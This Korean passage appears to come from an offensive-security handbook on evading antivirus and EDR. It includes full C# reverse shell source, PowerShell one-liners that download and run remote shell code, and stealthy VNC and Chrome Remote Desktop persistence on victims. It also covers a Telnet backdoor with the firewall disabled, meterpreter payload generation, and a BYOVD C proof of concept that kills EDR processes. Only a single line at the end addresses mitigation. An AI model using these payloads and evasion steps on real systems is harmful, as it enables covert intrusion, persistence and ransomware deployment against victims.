๋ฉ”๋ชจ๋ฆฌ์—์„œ C# ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ์˜ค๋ž˜์ „๋ถ€ํ„ฐ ์•Œ๋ ค์ ธ ์™”์œผ๋ฉฐ, AV์— ๊ฑธ๋ฆฌ์ง€ ์•Š๊ณ  post-exploitation ๋„๊ตฌ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋งค์šฐ ์ข‹์€ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค.

ํŽ˜์ด๋กœ๋“œ๊ฐ€ ๋””์Šคํฌ๋ฅผ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๊ณ  ์ง์ ‘ ๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋“œ๋˜๊ธฐ ๋•Œ๋ฌธ์—, ์ „์ฒด ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•ด AMSI ํŒจ์น˜๋งŒ ์‹ ๊ฒฝ ์“ฐ๋ฉด ๋ฉ๋‹ˆ๋‹ค.

๋Œ€๋ถ€๋ถ„์˜ C2 ํ”„๋ ˆ์ž„์›Œํฌ (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.)๋Š” ์ด๋ฏธ C# ์–ด์…ˆ๋ธ”๋ฆฌ๋ฅผ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์ง์ ‘ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•˜์ง€๋งŒ, ์ด๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ์—ฌ๋Ÿฌ ๊ฐ€์ง€๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค:

  • Fork&Run

์ด๋Š” ์ƒˆ๋กœ์šด ํฌ์ƒ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑ(spawning) ํ•˜๊ณ , ๊ทธ ์ƒˆ ํ”„๋กœ์„ธ์Šค์— post-exploitation ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ์‹คํ–‰ํ•œ ํ›„ ์™„๋ฃŒ๋˜๋ฉด ํ•ด๋‹น ํ”„๋กœ์„ธ์Šค๋ฅผ ์ข…๋ฃŒํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ์žฅ๋‹จ์ ์ด ์žˆ์Šต๋‹ˆ๋‹ค. fork and run ๋ฐฉ์‹์˜ ์žฅ์ ์€ ์‹คํ–‰์ด ์šฐ๋ฆฌ์˜ Beacon ์ž„ํ”Œ๋ž€ํŠธ ํ”„๋กœ์„ธ์Šค ์™ธ๋ถ€์—์„œ ์ผ์–ด๋‚œ๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค. ์ด๋Š” post-exploitation ์ž‘์—…์ด ์ž˜๋ชป๋˜๊ฑฐ๋‚˜ ํƒ์ง€๋˜๋”๋ผ๋„ ์šฐ๋ฆฌ์˜ ์ž„ํ”Œ๋ž€ํŠธ๊ฐ€ ์‚ด์•„๋‚จ์„ ๊ฐ€๋Šฅ์„ฑ์ด ํ›จ์”ฌ ํฌ๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๋‹จ์ ์€ Behavioural Detections์— ์˜ํ•ด ์ ๋ฐœ๋  ๊ฐ€๋Šฅ์„ฑ์ด ๋” ๋†’๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค.

  • Inline

์ด๋Š” post-exploitation ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ์ž๊ธฐ ์ž์‹ ์˜ ํ”„๋กœ์„ธ์Šค์— ์ฃผ์ž…ํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์ƒˆ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•˜๊ณ  AV์— ์˜ํ•ด ์Šค์บ”๋˜๋Š” ๊ฒƒ์„ ํ”ผํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ํŽ˜์ด๋กœ๋“œ ์‹คํ–‰ ์ค‘ ๋ฌธ์ œ๊ฐ€ ์ƒ๊ธฐ๋ฉด ํ”„๋กœ์„ธ์Šค๊ฐ€ ํฌ๋ž˜์‹œํ•  ์ˆ˜ ์žˆ์–ด beacon์„ ์žƒ์„ ๊ฐ€๋Šฅ์„ฑ์ด ํ›จ์”ฌ ํฝ๋‹ˆ๋‹ค.

Tip

If you want to read more about C# Assembly loading, please check out this article https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ and their InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly)

๋˜ํ•œ C# Assemblies๋ฅผ PowerShell์—์„œ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Invoke-SharpLoader์™€ S3cur3th1sSh1tโ€™s video๋ฅผ ์ฐธ๊ณ ํ•˜์„ธ์š”.

๋‹ค๋ฅธ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด ์‚ฌ์šฉ

As proposed in https://github.com/deeexcee-io/LOI-Bins, ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” SMB ๊ณต์œ ์— ์„ค์น˜๋œ ์ธํ„ฐํ”„๋ฆฌํ„ฐ ํ™˜๊ฒฝ์— ์นจํ•ด๋œ ๋จธ์‹ ์ด ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋ฉด ๋‹ค๋ฅธ ์–ธ์–ด๋กœ ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

SMB ๊ณต์œ ์˜ Interpreter Binaries์™€ ํ™˜๊ฒฝ์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜๋ฉด ์นจํ•ด๋œ ๋จธ์‹ ์˜ ๋ฉ”๋ชจ๋ฆฌ ๋‚ด์—์„œ ํ•ด๋‹น ์–ธ์–ด๋“ค๋กœ ์ž„์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ฆฌํฌ์ง€ํ† ๋ฆฌ์—์„œ๋Š”: Defender๋Š” ์—ฌ์ „ํžˆ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์Šค์บ”ํ•˜์ง€๋งŒ Go, Java, PHP ๋“ฑ์„ ํ™œ์šฉํ•˜๋ฉด ์ •์  ์‹œ๊ทธ๋‹ˆ์ฒ˜๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” ์œ ์—ฐ์„ฑ์ด ๋” ์žˆ๋‹ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค. ์ด ์–ธ์–ด๋“ค๋กœ ๋œ ๋ฌด์ž‘์œ„ ๋น„๋‚œ๋…ํ™” reverse shell ์Šคํฌ๋ฆฝํŠธ๋กœ ํ…Œ์ŠคํŠธํ•œ ๊ฒฐ๊ณผ ์„ฑ๊ณต์„ ๊ฑฐ๋’€์Šต๋‹ˆ๋‹ค.

TokenStomping

Token stomping์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ ‘๊ทผ ํ† ํฐ์ด๋‚˜ EDR ๋˜๋Š” AV ๊ฐ™์€ ๋ณด์•ˆ ์ œํ’ˆ์„ ์กฐ์ž‘ํ•˜์—ฌ ๊ถŒํ•œ์„ ๋‚ฎ์ถค์œผ๋กœ์จ ํ”„๋กœ์„ธ์Šค๋Š” ์ข…๋ฃŒ๋˜์ง€ ์•Š์ง€๋งŒ ์•…์„ฑ ํ™œ๋™์„ ๊ฒ€์‚ฌํ•  ๊ถŒํ•œ์ด ์—†๊ฒŒ ๋งŒ๋“œ๋Š” ๊ธฐ์ˆ ์ž…๋‹ˆ๋‹ค.

์ด๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด Windows๋Š” ์™ธ๋ถ€ ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋ณด์•ˆ ํ”„๋กœ์„ธ์Šค์˜ ํ† ํฐ์— ๋Œ€ํ•œ ํ•ธ๋“ค์„ ํš๋“ํ•˜์ง€ ๋ชปํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์‹ ๋ขฐ๋œ ์†Œํ”„ํŠธ์›จ์–ด ์‚ฌ์šฉ

Chrome Remote Desktop

As described in this blog post, ํ”ผํ•ด์ž์˜ PC์— Chrome Remote Desktop์„ ๋ฐฐํฌํ•œ ๋’ค ์ด๋ฅผ ์ด์šฉํ•ด ์žฅ์•…ํ•˜๊ณ  ์ง€์†์„ฑ์„ ์œ ์ง€ํ•˜๋Š” ๊ฒƒ์ด ๋น„๊ต์  ์‰ฝ์Šต๋‹ˆ๋‹ค:

  1. https://remotedesktop.google.com/ ์—์„œ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ , โ€œSet up via SSHโ€œ๋ฅผ ํด๋ฆญํ•œ ๋‹ค์Œ Windows์šฉ MSI ํŒŒ์ผ์„ ํด๋ฆญํ•ด MSI ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.
  2. ํ”ผํ•ด์ž ๊ธฐ๊ธฐ์—์„œ ์„ค์น˜ ํ”„๋กœ๊ทธ๋žจ์„ ์กฐ์šฉํžˆ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค(๊ด€๋ฆฌ์ž ํ•„์š”): msiexec /i chromeremotedesktophost.msi /qn
  3. Chrome Remote Desktop ํŽ˜์ด์ง€๋กœ ๋Œ์•„๊ฐ€์„œ โ€™Nextโ€™๋ฅผ ํด๋ฆญํ•ฉ๋‹ˆ๋‹ค. ๋งˆ๋ฒ•์‚ฌ๊ฐ€ ๊ถŒํ•œ์„ ์š”์ฒญํ•˜๋ฉด โ€˜Authorizeโ€™ ๋ฒ„ํŠผ์„ ํด๋ฆญํ•ด ๊ณ„์†ํ•ฉ๋‹ˆ๋‹ค.
  4. ์•ฝ๊ฐ„์˜ ์กฐ์ •์„ ํ•ด์„œ ๋‹ค์Œ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค: "%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111 (์ฐธ๊ณ : pin ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ GUI๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ ๋„ ํ•€์„ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.)

๊ณ ๊ธ‰ ํšŒํ”ผ

ํšŒํ”ผ๋Š” ๋งค์šฐ ๋ณต์žกํ•œ ์ฃผ์ œ์ž…๋‹ˆ๋‹ค. ๋•Œ๋กœ๋Š” ํ•œ ์‹œ์Šคํ…œ์—์„œ๋งŒ๋„ ์—ฌ๋Ÿฌ ์„œ๋กœ ๋‹ค๋ฅธ ํ…”๋ ˆ๋ฉ”ํŠธ๋ฆฌ ์†Œ์Šค๋ฅผ ๊ณ ๋ คํ•ด์•ผ ํ•˜๋ฏ€๋กœ, ์„ฑ์ˆ™ํ•œ ํ™˜๊ฒฝ์—์„œ๋Š” ์™„์ „ํžˆ ํƒ์ง€๋˜์ง€ ์•Š๋Š” ์ƒํƒœ๋ฅผ ์œ ์ง€ํ•˜๋Š” ๊ฒƒ์€ ์‚ฌ์‹ค์ƒ ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

๊ณต๊ฒฉ ๋Œ€์ƒ ํ™˜๊ฒฝ๋งˆ๋‹ค ๊ฐ๊ฐ์˜ ๊ฐ•์ ๊ณผ ์•ฝ์ ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

๋” ๋งŽ์€ ๊ณ ๊ธ‰ ํšŒํ”ผ ๊ธฐ๋ฒ•์„ ๋ฐฐ์šฐ๊ณ  ์‹ถ๋‹ค๋ฉด @ATTL4S์˜ ๊ฐ•์—ฐ์„ ๊ผญ ๋ณด์‹œ๊ธธ ๊ถŒํ•ฉ๋‹ˆ๋‹ค.

[NcN2k20] Understanding and Hiding your Operations - Daniel L&oacute;pez Jim&eacute;nez

๋˜ํ•œ @mariuszbit์˜ Evasion in Depth์— ๊ด€ํ•œ ํ›Œ๋ฅญํ•œ ๊ฐ•์—ฐ๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

- YouTube

์˜ค๋ž˜๋œ ๊ธฐ๋ฒ•

Defender๊ฐ€ ์•…์„ฑ์œผ๋กœ ํŒ๋‹จํ•˜๋Š” ๋ถ€๋ถ„ ํ™•์ธํ•˜๊ธฐ

ThreatCheck๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ์ผ๋ถ€๋ฅผ ์ œ๊ฑฐํ•˜๋ฉด์„œ Defender๊ฐ€ ์–ด๋–ค ๋ถ€๋ถ„์„ ์•…์„ฑ์œผ๋กœ ํŒ๋‹จํ•˜๋Š”์ง€ ์ฐพ์•„๋‚ด์–ด ๋ถ„๋ฆฌํ•ด์ค๋‹ˆ๋‹ค.
๊ฐ™์€ ์ผ์„ ํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋„๊ตฌ๋Š” avred์ด๋ฉฐ, ๊ณต๊ฐœ ์›น ์„œ๋น„์Šค๋Š” https://avred.r00ted.ch/์—์„œ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

Telnet Server

Windows10 ์ด์ „์—๋Š” ๋ชจ๋“  Windows์— ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์œผ๋กœ ์„ค์น˜ํ•  ์ˆ˜ ์žˆ๋Š” Telnet server๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์„ค์น˜ํ•˜๋ ค๋ฉด:

pkgmgr /iu:"TelnetServer" /quiet

์‹œ์Šคํ…œ์ด ์‹œ์ž‘๋  ๋•Œ ์‹œ์ž‘ํ•˜๊ฒŒ ๋งŒ๋“ค๊ณ  ์ง€๊ธˆ ์‹คํ–‰ํ•˜์„ธ์š”:

sc config TlntSVR start= auto obj= localsystem

telnet ํฌํŠธ ๋ณ€๊ฒฝ (stealth) ๋ฐ firewall ๋น„ํ™œ์„ฑํ™”:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

Download it from: http://www.uvnc.com/downloads/ultravnc.html (you want the bin downloads, not the setup)

ON THE HOST: _winvnc.exe_์„ ์‹คํ–‰ํ•˜๊ณ  ์„œ๋ฒ„๋ฅผ ๊ตฌ์„ฑํ•ฉ๋‹ˆ๋‹ค:

  • ์˜ต์…˜ _Disable TrayIcon_์„ ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค
  • _VNC Password_์— ์•”ํ˜ธ๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค
  • _View-Only Password_์— ์•”ํ˜ธ๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค

๊ทธ๋Ÿฐ ๋‹ค์Œ, ๋ฐ”์ด๋„ˆ๋ฆฌ winvnc.exe ๋ฐ ์ƒˆ๋กœ ์ƒ์„ฑ๋œ ํŒŒ์ผ _UltraVNC.ini_์„ victim ์•ˆ์œผ๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค

Reverse connection

attacker๋Š” ์ž์‹ ์˜ host์—์„œ ๋ฐ”์ด๋„ˆ๋ฆฌ vncviewer.exe -listen 5900์„ ์‹คํ–‰ํ•ด์•ผ ํ•˜๋ฉฐ, ์—ญ๋ฐฉํ–ฅ VNC connection์„ ์ˆ˜์‹ ํ•  ์ค€๋น„๋ฅผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ victim ๋‚ด์—์„œ: winvnc ๋ฐ๋ชฌ winvnc.exe -run์„ ์‹œ์ž‘ํ•˜๊ณ  winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค

WARNING: ์€๋ฐ€ํ•จ์„ ์œ ์ง€ํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ํ•˜์ง€ ๋ง์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค

  • ์ด๋ฏธ ์‹คํ–‰ ์ค‘์ด๋ฉด winvnc๋ฅผ ์‹œ์ž‘ํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค. ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด popup์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์‹คํ–‰ ์—ฌ๋ถ€๋Š” tasklist | findstr winvnc๋กœ ํ™•์ธํ•˜์„ธ์š”
  • ๋™์ผํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ์— UltraVNC.ini๊ฐ€ ์—†์œผ๋ฉด winvnc๋ฅผ ์‹œ์ž‘ํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค. ๊ทธ๋Ÿฌ๋ฉด ์„ค์ • ์ฐฝ์ด ์—ด๋ฆฝ๋‹ˆ๋‹ค
  • ๋„์›€๋ง์„ ์œ„ํ•ด winvnc -h๋ฅผ ์‹คํ–‰ํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค. popup์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค

GreatSCT

Download it from: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

GreatSCT ๋‚ด๋ถ€:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

์ด์ œ start the lister๋ฅผ msfconsole -r file.rc๋กœ ์‹œ์ž‘ํ•˜๊ณ , ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ xml payload๋ฅผ executeํ•˜์„ธ์š”:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

ํ˜„์žฌ defender๋Š” ํ”„๋กœ์„ธ์Šค๋ฅผ ๋งค์šฐ ๋น ๋ฅด๊ฒŒ ์ข…๋ฃŒํ•ฉ๋‹ˆ๋‹ค.

์šฐ๋ฆฌ๋งŒ์˜ reverse shell์„ ์ปดํŒŒ์ผํ•˜๊ธฐ

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

์ฒซ ๋ฒˆ์งธ C# Revershell

๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ์ปดํŒŒ์ผ:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

๋‹ค์Œ๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉ:

back.exe <ATTACKER_IP> <PORT>
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# using ์ปดํŒŒ์ผ๋Ÿฌ

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

์ž๋™ ๋‹ค์šด๋กœ๋“œ ๋ฐ ์‹คํ–‰:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f

C# ๋‚œ๋…ํ™” ๋„๊ตฌ ๋ชฉ๋ก: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

python์„ ์‚ฌ์šฉํ•œ build injectors ์˜ˆ์ œ:

๊ธฐํƒ€ ๋„๊ตฌ

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

More

Bring Your Own Vulnerable Driver (BYOVD) โ€“ Killing AV/EDR From Kernel Space

Storm-2603์€ ์—”๋“œํฌ์ธํŠธ ๋ณดํ˜ธ๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•œ ํ›„ ๋žœ์„ฌ์›จ์–ด๋ฅผ ๋ฐฐํฌํ•˜๊ธฐ ์œ„ํ•ด Antivirus Terminator๋ผ๋Š” ์ž‘์€ ์ฝ˜์†” ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ์ด์šฉํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” ์ž์ฒด์ ์œผ๋กœ ์ทจ์•ฝํ•˜์ง€๋งŒ signed ๋œ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ์•…์šฉํ•ด Protected-Process-Light (PPL) AV ์„œ๋น„์Šค์กฐ์ฐจ ์ฐจ๋‹จํ•  ์ˆ˜ ์—†๋Š” ๊ถŒํ•œ ์žˆ๋Š” ์ปค๋„ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

ํ•ต์‹ฌ ์š”์ 

  1. Signed driver: ๋””์Šคํฌ์— ๋ฐฐ๋‹ฌ๋˜๋Š” ํŒŒ์ผ์€ ServiceMouse.sys์ด์ง€๋งŒ, ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” Antiy Labs์˜ โ€œSystem In-Depth Analysis Toolkitโ€์— ํฌํ•จ๋œ ์ •์‹ ์„œ๋ช…๋œ ๋“œ๋ผ์ด๋ฒ„ AToolsKrnl64.sys์ž…๋‹ˆ๋‹ค. ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ์œ ํšจํ•œ Microsoft ์„œ๋ช…์„ ๋ณด์œ ํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— Driver-Signature-Enforcement (DSE)๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์–ด๋„ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค.
  2. ์„œ๋น„์Šค ์„ค์น˜:
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
sc start  ServiceMouse

์ฒซ ๋ฒˆ์งธ ์ค„์€ ๋“œ๋ผ์ด๋ฒ„๋ฅผ kernel ์„œ๋น„์Šค๋กœ ๋“ฑ๋กํ•˜๊ณ , ๋‘ ๋ฒˆ์งธ ์ค„์€ ์ด๋ฅผ ์‹œ์ž‘ํ•˜์—ฌ \\.\ServiceMouse๊ฐ€ ์‚ฌ์šฉ์ž ๊ณต๊ฐ„์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๋„๋ก ๋งŒ๋“ญ๋‹ˆ๋‹ค. 3. ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ๋…ธ์ถœํ•˜๋Š” IOCTLs

IOCTL code๊ธฐ๋Šฅ
0x99000050PID๋กœ ์ž„์˜ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ข…๋ฃŒ (Defender/EDR ์„œ๋น„์Šค๋ฅผ ์ข…๋ฃŒํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋จ)
0x990000D0๋””์Šคํฌ์˜ ์ž„์˜ ํŒŒ์ผ ์‚ญ์ œ
0x990001D0๋“œ๋ผ์ด๋ฒ„ ์–ธ๋กœ๋“œ ๋ฐ ์„œ๋น„์Šค ์ œ๊ฑฐ

Minimal C proof-of-concept:

#include <windows.h>

int main(int argc, char **argv){
DWORD pid = strtoul(argv[1], NULL, 10);
HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL);
CloseHandle(hDrv);
return 0;
}
  1. ์ž‘๋™ ์ด์œ : BYOVD๋Š” ์‚ฌ์šฉ์ž ๋ชจ๋“œ ๋ณดํ˜ธ๋ฅผ ์™„์ „ํžˆ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค; ์ปค๋„์—์„œ ์‹คํ–‰๋˜๋Š” ์ฝ”๋“œ๋Š” Protected ํ”„๋กœ์„ธ์Šค๋ฅผ ์—ด๊ฑฐ๋‚˜ ์ข…๋ฃŒํ•˜๊ฑฐ๋‚˜ PPL/PP, ELAM ๋˜๋Š” ๊ธฐํƒ€ ํ•˜๋“œ๋‹ ๊ธฐ๋Šฅ์— ์ƒ๊ด€์—†์ด ์ปค๋„ ๊ฐ์ฒด๋ฅผ ๋ณ€์กฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํƒ์ง€ / ์™„ํ™” โ€ข Microsoft์˜ ์ทจ์•ฝ ๋“œ๋ผ์ด๋ฒ„ ์ฐจ๋‹จ ๋ชฉ๋ก(HVCI, Smart App Control)์„ ํ™œ์„ฑํ™”ํ•˜์—ฌ Windows๊ฐ€ AToolsKrnl64.sys ๋กœ๋“œ๋ฅผ ๊ฑฐ๋ถ€ํ•˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.
